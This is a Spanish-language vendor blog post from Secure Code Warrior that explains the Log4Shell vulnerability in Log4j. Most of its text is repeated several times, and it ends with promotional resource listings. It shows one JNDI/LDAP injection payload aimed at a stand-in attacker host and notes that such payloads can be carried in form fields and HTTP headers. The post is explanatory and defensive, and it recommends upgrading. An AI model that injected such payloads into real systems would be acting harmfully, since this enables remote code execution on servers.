La vulnerabilidad de Log4j explicada - Su vector de ataque y cómo prevenirla
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
En diciembre de 2021, se reveló una vulnerabilidad de seguridad crítica Log4Shell en la biblioteca Java Log4j. En este artículo, desglosamos la vulnerabilidad Log4Shell de la forma más sencilla para que entiendas lo básico y te presentamos una misión: un campo de juego en el que puedes intentar explotar un sitio web simulado utilizando los conocimientos de esta vulnerabilidad.
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Reservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
Haga clic en el siguiente enlace y descargue el PDF de este recurso.
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Ver el informeReservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
Índice
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Reservar una demostraciónDescargarRecursos para empezar
Panorama de la gestión de riesgos de los promotores
La gestión de riesgos del desarrollador es un enfoque holístico y proactivo de la seguridad de las aplicaciones, centrado en quienes contribuyen al código y no en los bits y bytes de la propia capa de la aplicación.
Seguridad desde el diseño: Definición de las mejores prácticas, capacitación de los desarrolladores y evaluación comparativa de los resultados de la seguridad preventiva
En este documento de investigación, los cofundadores Secure Code Warrior , Pieter Danhieux y el Dr. Matias Madou, Ph.D., junto con los expertos colaboradores, Chris Inglis, ex Director Nacional Cibernético de EE.UU. (ahora Asesor Estratégico de Paladin Capital Group), y Devin Lynch, Director Senior, Paladin Global Institute, revelarán los hallazgos clave de más de veinte entrevistas en profundidad con líderes de seguridad empresarial, incluyendo CISOs, un VP de Seguridad de Aplicaciones y profesionales de seguridad de software.
Evaluación comparativa de las competencias en materia de seguridad: optimización del diseño seguro en la empresa
Encontrar datos significativos sobre el éxito de las iniciativas Secure-by-Design es notoriamente difícil. Los responsables de la seguridad de la información se enfrentan a menudo al reto de demostrar el rendimiento de la inversión (ROI) y el valor empresarial de las actividades de los programas de seguridad, tanto a nivel de las personas como de la empresa. Por no mencionar que a las empresas les resulta especialmente difícil obtener información sobre cómo se comparan sus organizaciones con los estándares actuales del sector. La Estrategia Nacional de Ciberseguridad del Presidente desafió a las partes interesadas a "adoptar la seguridad y la resiliencia desde el diseño". La clave para que las iniciativas de seguridad por diseño funcionen no es sólo dotar a los desarrolladores de las habilidades necesarias para garantizar un código seguro, sino también garantizar a los reguladores que esas habilidades están en su lugar. En esta presentación, compartimos una miríada de datos cualitativos y cuantitativos, derivados de múltiples fuentes primarias, incluidos puntos de datos internos recogidos de más de 250.000 desarrolladores, opiniones de clientes basadas en datos y estudios públicos. Aprovechando esta agregación de puntos de datos, pretendemos comunicar una visión del estado actual de las iniciativas Secure-by-Design en múltiples verticales. El informe detalla por qué este espacio está actualmente infrautilizado, el impacto significativo que un programa de mejora de las competencias puede tener en la mitigación de los riesgos de ciberseguridad y el potencial para eliminar categorías de vulnerabilidades de un código base.
Servicios profesionales - Acelerar con experiencia
El equipo de servicios de estrategia de programas (PSS) de Secure Code Warriorle ayuda a crear, mejorar y optimizar su programa de codificación segura. Tanto si empieza de cero como si está perfeccionando su enfoque, nuestros expertos le proporcionarán orientación personalizada.
Recursos para empezar
Revelado: Cómo define el sector cibernético la seguridad por diseño
En nuestro último libro blanco, nuestros cofundadores, Pieter Danhieux y el doctor Matias Madou, se sentaron con más de veinte líderes de seguridad empresarial, incluidos CISO, líderes de AppSec y profesionales de la seguridad, para averiguar las piezas clave de este rompecabezas y descubrir la realidad detrás del movimiento Secure by Design. Se trata de una ambición compartida por todos los equipos de seguridad, pero no de un libro de jugadas compartido.
¿Vibe Coding va a convertir tu código en una fiesta de fraternidad?
Vibe Coding es como una fiesta de fraternidad universitaria, y la IA es la pieza central de todos los festejos, el barril. Es muy divertido dar rienda suelta a la creatividad y ver adónde te lleva tu imaginación, pero después de unas cuantas borracheras, beber (o usar IA) con moderación es, sin duda, la solución más segura a largo plazo.
Codificación orientada al desarrollador.
Con seguridad.
Póngase en contacto con nosotros hoy mismo y haga de la seguridad del software una parte intrínseca de su proceso de desarrollo.
